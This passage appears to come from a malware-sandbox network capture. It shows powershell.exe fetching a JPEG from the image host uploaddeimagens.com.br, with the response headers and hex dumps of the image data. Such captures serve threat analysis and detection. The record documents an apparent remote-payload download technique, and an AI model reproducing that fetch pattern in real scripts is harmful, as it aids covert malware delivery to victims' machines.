2024-05-01 06:37:51 UTC	677	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-05-01 06:37:51 UTC	1369	IN	Data Raw: 54 7a 99 be b9 63 d3 ad 1c a9 63 d2 be b8 15 dc 4a 9b b5 f6 ac 1a 1d a4 90 41 f9 f5 cb 17 56 b0 39 f7 ca 11 67 70 34 3b e0 19 9c 70 c7 be 09 9c 37 21 fa 76 ca b3 a0 53 7e 9c 42 5d 62 23 10 87 76 03 6f 2e c3 b8 da df b6 25 36 bf 69 21 3f 35 c4 e6 d4 3c b6 49 a1 82 02 c7 4f ae 05 84 f2 4b 7e 6b b6 df 6c b3 6d d8 28 82 3d bb e5 42 9a ce a7 1c 91 81 c0 2a b0 a5 a3 84 2c 78 be bd b0 04 d9 e9 47 df 08 1e a8 55 9c 0b 96 35 c9 a1 92 08 f7 bf 86 50 9d c0 ae de bc 61 b4 da 79 27 72 91 45 b9 c2 ee da 18 02 c0 72 76 8e fc 5e 01 75 1a 59 74 e1 37 15 2a e0 30 75 e4 72 a0 d7 cf 9c 09 24 55 fe 78 f4 b2 09 9b ee cc 41 2d 0c 4f 19 ed b8 46 b6 39 f7 16 3e 75 99 c5 82 c6 49 5e 4f 1f 5e ff 00 96 05 67 d4 79 34 41 b2 d9 9a ee ce e5 9b 92 70 9b 99 a5 de dc d9 e7 e1 ce 43 2e e2 Data Ascii: TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B,xGU5Pay'rErv^uYt70ur$UxA-OF9>uI^O^gy4ApC.
2024-05-01 06:37:51 UTC	1369	IN	Data Raw: 1e 41 ae 79 bf e9 81 0d e2 32 08 62 56 d4 c8 4a 93 bb 69 0a d5 db af e5 8d cb e2 41 e1 60 81 c1 b0 4b 3d 5f e4 3a e6 02 10 5f 8e a3 9e 98 fc 65 44 44 96 dc 6f f2 c0 d9 8b 58 da 88 99 c3 b2 81 01 02 8d 5b 7b e6 47 8a 4a 1a 18 d1 9e 47 7d c4 ee 77 0d fc ba 61 0b 95 87 ad 02 38 cc bf 25 9f 73 03 64 1b ac 0e 0a 5b 4a 38 24 86 e0 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a 93 2c 41 4f 51 96 d3 ea a5 88 6c 41 b9 79 b5 f7 c5 c0 06 ef 8e 31 dd 14 48 ee a0 3d 12 68 9c 06 fc 3f 4b 2e a7 54 b2 4d 4b 08 e4 82 78 61 ed 9b f3 6a 67 99 d7 c3 b4 11 24 6a 08 6b 56 ab 03 31 Data Ascii: Ay2bVJiA`K=_:_eDDoX[{GJG}wa8%sd[J8$cLp\`6d)$,ec)q(6>h\|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jkV1
2024-05-01 06:37:51 UTC	1369	IN	Data Raw: fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70 1b 1a b2 58 9b af 86 10 6a 83 70 c4 13 ef ed 88 ec 2c c7 a8 ac a9 47 57 ba 24 55 f1 81 a3 bd 9d 96 98 71 dc e5 5e 42 a5 bd 56 40 bf 86 2e 8c 01 50 7b e4 3b 30 6b 09 60 f0 6f a5 60 59 f5 4d d0 1b e2 f1 49 b5 74 a7 77 43 c5 e1 24 65 0a d4 45 8e c3 12 d8 b3 ab 2b 30 e3 9c 00 78 66 bb 4a 8d 2e 9f 4e 79 57 2c d6 73 45 75 8a 1b 69 60 2f a6 65 68 fc 3f 4f 0e b6 51 18 51 23 f2 79 ea 31 8d 58 8f 4f 0b 4f 35 05 41 ba fa 60 31 e2 1e 2d 16 82 07 9a 57 00 28 a0 3d ce 2b a3 f1 45 d4 e9 44 e2 c6 ee 68 e7 8b 79 e6 fb 53 e2 bb 01 2b a5 8b d4 07 be 7a b8 95 60 d3 ac 61 00 0a 28 01 df 00 fa 87 8e 68 19 Data Ascii: r7qLz2iO7ZsiA%nGR?{O\|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+EDhyS+z`a(h
2024-05-01 06:37:51 UTC	1369	IN	Data Raw: c8 48 50 a3 af 73 92 1d 11 95 63 62 c2 b9 b1 9d 2e 98 46 14 06 1e af a8 c1 24 65 25 00 b0 2a 7a 9f 86 06 ae 85 92 2a 49 4d b1 4a a0 2e af 17 d5 44 04 a0 d9 00 37 e1 be b8 7d 23 23 48 18 20 6d b6 07 6c 36 a5 d2 66 08 83 6d 0b 22 ba e0 05 bc 37 4c f1 79 82 46 16 bb af ad fc 30 6a 9a 78 d6 b7 a0 20 d9 2b b8 11 fa 63 62 24 8d 89 67 01 54 32 ed 63 d2 86 2a 1f ef 0e 5e 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07 6a 8f 80 1d 71 35 99 8a b1 0d b5 57 a0 3d b2 1f 56 1a 7a 2d 7e a2 45 8a c0 d0 1a 84 45 54 44 ed db be 66 4f a8 42 ce 80 35 6e ba ba e7 1a 56 de f6 a0 0f f1 57 7c 52 6d 1c 92 cc 5c 11 4c d4 49 ed 80 54 9d 95 55 54 b1 04 56 ef 6c 87 44 23 76 d6 af e2 20 61 e2 54 40 a9 76 40 ab f7 ce 62 e2 e8 a9 5e 84 1c 08 82 7d 8c a8 Data Ascii: HPscb.F$e%zIMJ.D7}##H ml6fm"7LyF0jx +cb$gT2c*^8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW\|Rm\LITUTVlD#v aT@v@b^}
2024-05-01 06:37:51 UTC	1369	IN	Data Raw: cc a5 76 d0 0c 4f 4b 61 78 1e 78 15 7e ab 7f 0c 63 4e 88 d2 84 31 17 b1 e9 50 c5 6b ea 30 22 c0 e2 f7 77 1d 86 71 90 af 73 7f 0c 0d 43 a1 a5 e3 4c a6 bb 89 5b 8f 9f a7 2a fa 22 bb 6f 4c b4 4d 7a 64 6a fa f1 8a c1 ac 9c cf 12 99 a6 71 b8 0d aa c6 cf 3d 33 d1 ce ea fa 56 31 a2 db 10 9c 80 6f ad 8a 3d aa ef 9c 0c 73 a0 43 75 a6 5a 06 8d cc c3 fa 67 2e 89 28 56 91 48 3d 0f 9a 48 fc eb 3d 01 82 3f 3b 72 a4 61 aa ba 00 55 7d 85 0e 9f 5c 21 86 c0 b0 a4 7b 0c 0f 3c 34 4a c7 8d 3a 90 3f fb 69 e3 ff 00 0e 17 4f e0 b3 4f 32 bc 5a 55 5e 6c 39 9d 97 69 1d 0f e1 eb 79 b8 23 8d 48 a2 01 ec 08 b1 92 0c 85 c9 f3 4d 8f 73 55 80 ac fe 0b 0e b3 c4 97 59 1c ac b2 ab 2b 48 cc cb 6a 55 46 d2 ab 55 46 8d df 4f 8f 4c c7 d4 e8 9b 4f 3e a4 69 b4 10 88 a1 6d c1 e6 9b a2 92 76 91 64 Data Ascii: vOKaxx~cN1Pk0"wqsCL[*"oLMzdjq=3V1o=sCuZg.(VH=H=?;raU}\!{<4J:?iOO2ZU^l9iy#HMsUY+HjUFUFOLO>imvd
2024-05-01 06:37:51 UTC	1369	IN	Data Raw: fa 66 7b a3 f9 62 40 a4 5d 7e 2e fc 60 2f 1a a2 3f 24 93 54 4f 61 8e 2d 4a 9b 56 e9 7a d6 26 59 88 36 aa 2b db 0b 1f 99 15 6d e7 70 bc 03 c9 28 8d 76 ef 00 f4 e7 28 60 0a 81 81 52 b4 4f 18 35 2c 75 54 e8 38 e8 48 be d8 e8 53 3c 2c a3 69 da 3a 03 47 f2 c0 41 b6 ae 98 28 71 ea e0 93 db 20 c6 87 4c 44 64 b1 2d 74 3e 58 ab 02 ac 45 11 cf 7c 6b 46 76 ab 10 81 be 78 14 92 09 56 15 77 71 b7 b0 38 c4 53 9d 52 ac 12 c4 0a a8 fc 43 a8 c0 49 1c f3 7a c2 96 5f 61 db 02 92 3c 36 14 95 f7 b1 80 6d 62 69 90 a8 81 f7 7f 88 9c 8d 14 eb a7 9c 3b 0b 5e f8 23 0b ed 57 23 86 e9 83 e4 58 c0 f4 4f af 86 d9 1b a1 1b 94 fb 9c 04 3e 27 3c 5a 95 96 34 2c 3f 0f 1e f9 89 cd 8b c7 a1 98 a4 41 4a 85 fe 21 7d f0 0f ad f1 4d 6b 6b 19 98 b2 1b e1 7d b1 87 d3 cd a9 d3 2c f6 ca 7a 90 dd f1 Data Ascii: f{b@]~.`/?$TOa-JVz&Y6+mp(v(`RO5,uT8HS<,i:GA(q LDd-t>XE\|kFvxVwq8SRCIz_a<6mbi;^#W#XO>'<Z4,?AJ!}Mkk},z
2024-05-01 06:37:51 UTC	1369	IN	Data Raw: 76 75 23 8f 4d 56 78 a0 db 5c 89 23 5d bd be 18 60 c1 e2 dc 63 5a 51 55 ef 81 e8 13 ed 54 52 b8 67 d3 35 06 21 42 f7 c7 f5 3f 6b f4 b0 e9 83 36 96 50 38 1c 1a 39 e4 21 7b e1 23 51 ec 79 eb 87 62 25 fd dc 88 ac 3b f2 70 37 0f da d8 1e 20 cb a5 9a 8f bb 62 69 f6 af 4b bd 80 d2 4a 0d f3 6d 99 4e a1 18 aa 00 54 76 ba c5 66 01 19 58 46 a0 9e 4d 1b c0 f4 9f fc 4d a0 59 96 63 a2 70 ed c7 5e 71 6d 5f da 5d 16 bb 4c d0 49 a3 93 67 00 8b eb 9e 73 57 aa 68 d3 7e d0 c7 b7 c3 07 0e a5 a7 87 70 00 71 c8 1e f8 1a de 1f e2 fa 0f 09 59 57 4d a1 98 96 3c 96 ec 31 98 be d6 69 8b 94 3a 47 51 d4 1b eb 98 7a 67 79 94 a1 b0 41 ac 60 e9 d5 c8 26 35 b5 e3 9e 30 35 9b ed 4c 09 3b 37 91 20 42 bd 3e 39 57 fb 53 a7 53 ea d3 48 54 fc 73 38 e9 8b 72 d1 aa a8 e3 ae 53 53 a5 49 23 08 05 Data Ascii: vu#MVx\#]`cZQUTRg5!B?k6P89!{#Qyb%;p7 biKJmNTvfXFMMYcp^qm_]LIgsWh~pqYWM<1i:GQzgyA`&505L;7 B>9WSSHTs8rSSI#
2024-05-01 06:37:51 UTC	1369	IN	Data Raw: 8c cd d3 9f 6e 71 af 23 4f 2a 2a 19 ce e6 21 78 42 07 e7 8a 6a fc 36 18 23 94 09 98 95 e9 cf 5c 04 9d 56 48 91 90 b1 a5 a2 3f ae 5c b2 4a ea cb 1a 92 00 5a 51 db df 2f a3 d8 a4 ab 10 23 22 c9 ee 49 ed 97 45 58 dd bc b1 e9 e8 d6 3a 57 38 03 48 9b ce e1 c8 37 c5 71 58 cc 40 34 92 16 56 25 56 c1 39 29 13 cc cc c3 8d a6 f2 f2 b1 d8 52 36 05 82 d3 57 d3 00 0f 36 e7 24 a9 6d c4 d0 1c e0 52 17 2e c4 13 63 db 8e 31 85 d3 ee 89 5c 1d ac b6 4f be 2b 36 a9 a1 b5 04 97 ef 7d b0 08 b0 97 3d 79 5e a7 13 9d 97 7e e1 5b b2 3c d9 ca ef 2d 4a c6 b2 d3 45 12 51 56 bb 17 f5 c0 e8 b5 0c 7d 3b aa ba 1f 7c 31 d4 c8 06 ed a4 af 7a c4 95 77 72 38 af 86 30 db cb 14 2f 60 76 18 04 49 3c c5 52 b4 08 fc 40 fc f1 89 1b 69 da 2a ab af c7 12 89 1d 24 21 40 03 83 ce 16 42 e4 92 48 35 d8 Data Ascii: nq#O*!xBj6#\VH?\JZQ/#"IEX:W8H7qX@4V%V9)R6W6$mR.c1\O+6}=y^~[<-JEQV};\|1zwr80/`vI<R@i$!@BH5
2024-05-01 06:37:51 UTC	1369	IN	Data Raw: 89 4b 32 c8 64 7d de db 48 a3 f1 04 93 7e d8 8e af c5 f5 07 57 12 0d 39 d3 a6 e0 c4 b2 db 15 27 36 1e 09 5e 16 48 e4 65 0c 49 0d 60 70 47 b0 1d 7e a3 01 49 74 6b a9 8d 4e e2 50 a2 b6 d5 e4 1e 49 35 5c 59 f7 c6 84 70 a0 0c 23 0a 15 78 25 79 03 db 32 f4 11 eb 24 f1 a6 3a a9 e9 51 2f 62 31 0a 18 dd 0a ee 48 e4 e6 bc 8a ea db 55 0c 9c 85 36 68 55 e0 7c f3 ed 4a be 9b c4 d0 47 34 a5 5d 43 72 6a ba f1 9c 9a 8d 34 fa 38 fc e5 32 35 ed 0a 41 e0 9b 3d 47 3d b1 df b4 70 a6 a3 c7 e1 47 00 2f 93 7c 76 00 1e f9 e7 0a 9d 3e a4 84 2a c5 4d ab 29 b1 f0 fd 70 1c d6 68 d7 4a c1 96 65 65 6e 42 f3 78 a1 7d c7 36 f4 fe 1b 36 ae 17 d4 4f ea 91 d7 d0 a5 bf 13 76 24 df 18 b6 ab 45 14 5a 58 5c 3a ac db 03 32 96 14 dd 41 20 fc 0e 06 68 bb eb 43 0d 04 07 53 a8 8e 21 76 cc 16 c2 dd Data Ascii: K2d}H~W9'6^HeI`pG~ItkNPI5\Yp#x%y2$:Q/b1HU6hU\|JG4]Crj4825A=G=pG/\|v>*M)phJeenBx}66Ov$EZX\:2A hCS!v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49751	172.67.215.45	443	1220	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 06:37:51 UTC	124	OUT	GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1 Host: uploaddeimagens.com.br Connection: Keep-Alive
2024-05-01 06:37:51 UTC	699	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 06:37:51 GMT Content-Type: image/jpeg Content-Length: 4198361 Connection: close Last-Modified: Tue, 23 Apr 2024 14:20:29 GMT ETag: "6627c3ad-400fd9" Cache-Control: max-age=2678400 CF-Cache-Status: HIT Age: 53 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RcG40MyDNzC0TbSAcLCQ9Vrl7Re1yoQznTrwWhOyj609k4EQscKPdxbUBEJAhIdqujxfReFOApQY%2Bm8Ab4BvEi%2Bv%2BvyVYREzq14eBT7%2B%2F6%2BFR3JqB5yKytrUCiPCu4CLq7FD7NalfCjm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87cdc3ef5ebe8f20-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 06:37:51 UTC	670	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-05-01 06:37:51 UTC	1369	IN	Data Raw: c1 af d4 6f e1 95 2e 54 7a 99 be b9 63 d3 ad 1c a9 63 d2 be b8 15 dc 4a 9b b5 f6 ac 1a 1d a4 90 41 f9 f5 cb 17 56 b0 39 f7 ca 11 67 70 34 3b e0 19 9c 70 c7 be 09 9c 37 21 fa 76 ca b3 a0 53 7e 9c 42 5d 62 23 10 87 76 03 6f 2e c3 b8 da df b6 25 36 bf 69 21 3f 35 c4 e6 d4 3c b6 49 a1 82 02 c7 4f ae 05 84 f2 4b 7e 6b b6 df 6c b3 6d d8 28 82 3d bb e5 42 9a ce a7 1c 91 81 c0 2a b0 a5 a3 84 2c 78 be bd b0 04 d9 e9 47 df 08 1e a8 55 9c 0b 96 35 c9 a1 92 08 f7 bf 86 50 9d c0 ae de bc 61 b4 da 79 27 72 91 45 b9 c2 ee da 18 02 c0 72 76 8e fc 5e 01 75 1a 59 74 e1 37 15 2a e0 30 75 e4 72 a0 d7 cf 9c 09 24 55 fe 78 f4 b2 09 9b ee cc 41 2d 0c 4f 19 ed b8 46 b6 39 f7 16 3e 75 99 c5 82 c6 49 5e 4f 1f 5e ff 00 96 05 67 d4 79 34 41 b2 d9 9a ee ce e5 9b 92 70 9b 99 a5 de dc Data Ascii: o.TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B,xGU5Pay'rErv^uYt70ur$UxA-OF9>uI^O^gy4Ap
2024-05-01 06:37:51 UTC	1369	IN	Data Raw: c5 56 48 d9 87 25 56 1e 41 ae 79 bf e9 81 0d e2 32 08 62 56 d4 c8 4a 93 bb 69 0a d5 db af e5 8d cb e2 41 e1 60 81 c1 b0 4b 3d 5f e4 3a e6 02 10 5f 8e a3 9e 98 fc 65 44 44 96 dc 6f f2 c0 d9 8b 58 da 88 99 c3 b2 81 01 02 8d 5b 7b e6 47 8a 4a 1a 18 d1 9e 47 7d c4 ee 77 0d fc ba 61 0b 95 87 ad 02 38 cc bf 25 9f 73 03 64 1b ac 0e 0a 5b 4a 38 24 86 e0 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a 93 2c 41 4f 51 96 d3 ea a5 88 6c 41 b9 79 b5 f7 c5 c0 06 ef 8e 31 dd 14 48 ee a0 3d 12 68 9c 06 fc 3f 4b 2e a7 54 b2 4d 4b 08 e4 82 78 61 ed 9b f3 6a 67 99 d7 c3 b4 11 24 Data Ascii: VH%VAy2bVJiA`K=_:_eDDoX[{GJG}wa8%sd[J8$cLp\`6d)$,ec)q(6>h\|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$
2024-05-01 06:37:51 UTC	1369	IN	Data Raw: 2d 5c 6d c4 1f 54 e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70 1b 1a b2 58 9b af 86 10 6a 83 70 c4 13 ef ed 88 ec 2c c7 a8 ac a9 47 57 ba 24 55 f1 81 a3 bd 9d 96 98 71 dc e5 5e 42 a5 bd 56 40 bf 86 2e 8c 01 50 7b e4 3b 30 6b 09 60 f0 6f a5 60 59 f5 4d d0 1b e2 f1 49 b5 74 a7 77 43 c5 e1 24 65 0a d4 45 8e c3 12 d8 b3 ab 2b 30 e3 9c 00 78 66 bb 4a 8d 2e 9f 4e 79 57 2c d6 73 45 75 8a 1b 69 60 2f a6 65 68 fc 3f 4f 0e b6 51 18 51 23 f2 79 ea 31 8d 58 8f 4f 0b 4f 35 05 41 ba fa 60 31 e2 1e 2d 16 82 07 9a 57 00 28 a0 3d ce 2b a3 f1 45 d4 e9 44 e2 c6 ee 68 e7 8b 79 e6 fb 53 e2 bb 01 2b a5 8b d4 07 be 7a b8 95 60 d3 ac 61 00 0a 28 01 Data Ascii: -\mTr7qLz2iO7ZsiA%nGR?{O\|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+EDhyS+z`a(
2024-05-01 06:37:51 UTC	1369	IN	Data Raw: 8b 3e f8 03 32 f9 ca c8 48 50 a3 af 73 92 1d 11 95 63 62 c2 b9 b1 9d 2e 98 46 14 06 1e af a8 c1 24 65 25 00 b0 2a 7a 9f 86 06 ae 85 92 2a 49 4d b1 4a a0 2e af 17 d5 44 04 a0 d9 00 37 e1 be b8 7d 23 23 48 18 20 6d b6 07 6c 36 a5 d2 66 08 83 6d 0b 22 ba e0 05 bc 37 4c f1 79 82 46 16 bb af ad fc 30 6a 9a 78 d6 b7 a0 20 d9 2b b8 11 fa 63 62 24 8d 89 67 01 54 32 ed 63 d2 86 2a 1f ef 0e 5e 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07 6a 8f 80 1d 71 35 99 8a b1 0d b5 57 a0 3d b2 1f 56 1a 7a 2d 7e a2 45 8a c0 d0 1a 84 45 54 44 ed db be 66 4f a8 42 ce 80 35 6e ba ba e7 1a 56 de f6 a0 0f f1 57 7c 52 6d 1c 92 cc 5c 11 4c d4 49 ed 80 54 9d 95 55 54 b1 04 56 ef 6c 87 44 23 76 d6 af e2 20 61 e2 54 40 a9 76 40 ab f7 ce 62 e2 e8 a9 5e Data Ascii: >2HPscb.F$e%zIMJ.D7}##H ml6fm"7LyF0jx +cb$gT2c*^8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW\|Rm\LITUTVlD#v aT@v@b^
2024-05-01 06:37:51 UTC	1369	IN	Data Raw: cd 34 1e 1a 3c a4 52 cc a5 76 d0 0c 4f 4b 61 78 1e 78 15 7e ab 7f 0c 63 4e 88 d2 84 31 17 b1 e9 50 c5 6b ea 30 22 c0 e2 f7 77 1d 86 71 90 af 73 7f 0c 0d 43 a1 a5 e3 4c a6 bb 89 5b 8f 9f a7 2a fa 22 bb 6f 4c b4 4d 7a 64 6a fa f1 8a c1 ac 9c cf 12 99 a6 71 b8 0d aa c6 cf 3d 33 d1 ce ea fa 56 31 a2 db 10 9c 80 6f ad 8a 3d aa ef 9c 0c 73 a0 43 75 a6 5a 06 8d cc c3 fa 67 2e 89 28 56 91 48 3d 0f 9a 48 fc eb 3d 01 82 3f 3b 72 a4 61 aa ba 00 55 7d 85 0e 9f 5c 21 86 c0 b0 a4 7b 0c 0f 3c 34 4a c7 8d 3a 90 3f fb 69 e3 ff 00 0e 17 4f e0 b3 4f 32 bc 5a 55 5e 6c 39 9d 97 69 1d 0f e1 eb 79 b8 23 8d 48 a2 01 ec 08 b1 92 0c 85 c9 f3 4d 8f 73 55 80 ac fe 0b 0e b3 c4 97 59 1c ac b2 ab 2b 48 cc cb 6a 55 46 d2 ab 55 46 8d df 4f 8f 4c c7 d4 e8 9b 4f 3e a4 69 b4 10 88 a1 6d c1 Data Ascii: 4<RvOKaxx~cN1Pk0"wqsCL[*"oLMzdjq=3V1o=sCuZg.(VH=H=?;raU}\!{<4J:?iOO2ZU^l9iy#HMsUY+HjUFUFOLO>im
2024-05-01 06:37:51 UTC	1369	IN	Data Raw: 72 3a 06 01 54 90 2e fa 66 7b a3 f9 62 40 a4 5d 7e 2e fc 60 2f 1a a2 3f 24 93 54 4f 61 8e 2d 4a 9b 56 e9 7a d6 26 59 88 36 aa 2b db 0b 1f 99 15 6d e7 70 bc 03 c9 28 8d 76 ef 00 f4 e7 28 60 0a 81 81 52 b4 4f 18 35 2c 75 54 e8 38 e8 48 be d8 e8 53 3c 2c a3 69 da 3a 03 47 f2 c0 41 b6 ae 98 28 71 ea e0 93 db 20 c6 87 4c 44 64 b1 2d 74 3e 58 ab 02 ac 45 11 cf 7c 6b 46 76 ab 10 81 be 78 14 92 09 56 15 77 71 b7 b0 38 c4 53 9d 52 ac 12 c4 0a a8 fc 43 a8 c0 49 1c f3 7a c2 96 5f 61 db 02 92 3c 36 14 95 f7 b1 80 6d 62 69 90 a8 81 f7 7f 88 9c 8d 14 eb a7 9c 3b 0b 5e f8 23 0b ed 57 23 86 e9 83 e4 58 c0 f4 4f af 86 d9 1b a1 1b 94 fb 9c 04 3e 27 3c 5a 95 96 34 2c 3f 0f 1e f9 89 cd 8b c7 a1 98 a4 41 4a 85 fe 21 7d f0 0f ad f1 4d 6b 6b 19 98 b2 1b e1 7d b1 87 d3 cd a9 d3 Data Ascii: r:T.f{b@]~.`/?$TOa-JVz&Y6+mp(v(`RO5,uT8HS<,i:GA(q LDd-t>XE\|kFvxVwq8SRCIz_a<6mbi;^#W#XO>'<Z4,?AJ!}Mkk}
2024-05-01 06:37:51 UTC	1369	IN	Data Raw: dd 47 db 1d 13 85 1f 76 75 23 8f 4d 56 78 a0 db 5c 89 23 5d bd be 18 60 c1 e2 dc 63 5a 51 55 ef 81 e8 13 ed 54 52 b8 67 d3 35 06 21 42 f7 c7 f5 3f 6b f4 b0 e9 83 36 96 50 38 1c 1a 39 e4 21 7b e1 23 51 ec 79 eb 87 62 25 fd dc 88 ac 3b f2 70 37 0f da d8 1e 20 cb a5 9a 8f bb 62 69 f6 af 4b bd 80 d2 4a 0d f3 6d 99 4e a1 18 aa 00 54 76 ba c5 66 01 19 58 46 a0 9e 4d 1b c0 f4 9f fc 4d a0 59 96 63 a2 70 ed c7 5e 71 6d 5f da 5d 16 bb 4c d0 49 a3 93 67 00 8b eb 9e 73 57 aa 68 d3 7e d0 c7 b7 c3 07 0e a5 a7 87 70 00 71 c8 1e f8 1a de 1f e2 fa 0f 09 59 57 4d a1 98 96 3c 96 ec 31 98 be d6 69 8b 94 3a 47 51 d4 1b eb 98 7a 67 79 94 a1 b0 41 ac 60 e9 d5 c8 26 35 b5 e3 9e 30 35 9b ed 4c 09 3b 37 91 20 42 bd 3e 39 57 fb 53 a7 53 ea d3 48 54 fc 73 38 e9 8b 72 d1 aa a8 e3 ae Data Ascii: Gvu#MVx\#]`cZQUTRg5!B?k6P89!{#Qyb%;p7 biKJmNTvfXFMMYcp^qm_]LIgsWh~pqYWM<1i:GQzgyA`&505L;7 B>9WSSHTs8r
2024-05-01 06:37:51 UTC	1369	IN	Data Raw: 6c 57 5f 34 2f a5 6d 8c cd d3 9f 6e 71 af 23 4f 2a 2a 19 ce e6 21 78 42 07 e7 8a 6a fc 36 18 23 94 09 98 95 e9 cf 5c 04 9d 56 48 91 90 b1 a5 a2 3f ae 5c b2 4a ea cb 1a 92 00 5a 51 db df 2f a3 d8 a4 ab 10 23 22 c9 ee 49 ed 97 45 58 dd bc b1 e9 e8 d6 3a 57 38 03 48 9b ce e1 c8 37 c5 71 58 cc 40 34 92 16 56 25 56 c1 39 29 13 cc cc c3 8d a6 f2 f2 b1 d8 52 36 05 82 d3 57 d3 00 0f 36 e7 24 a9 6d c4 d0 1c e0 52 17 2e c4 13 63 db 8e 31 85 d3 ee 89 5c 1d ac b6 4f be 2b 36 a9 a1 b5 04 97 ef 7d b0 08 b0 97 3d 79 5e a7 13 9d 97 7e e1 5b b2 3c d9 ca ef 2d 4a c6 b2 d3 45 12 51 56 bb 17 f5 c0 e8 b5 0c 7d 3b aa ba 1f 7c 31 d4 c8 06 ed a4 af 7a c4 95 77 72 38 af 86 30 db cb 14 2f 60 76 18 04 49 3c c5 52 b4 08 fc 40 fc f1 89 1b 69 da 2a ab af c7 12 89 1d 24 21 40 03 83 ce Data Ascii: lW_4/mnq#O*!xBj6#\VH?\JZQ/#"IEX:W8H7qX@4V%V9)R6W6$mR.c1\O+6}=y^~[<-JEQV};\|1zwr80/`vI<R@i$!@
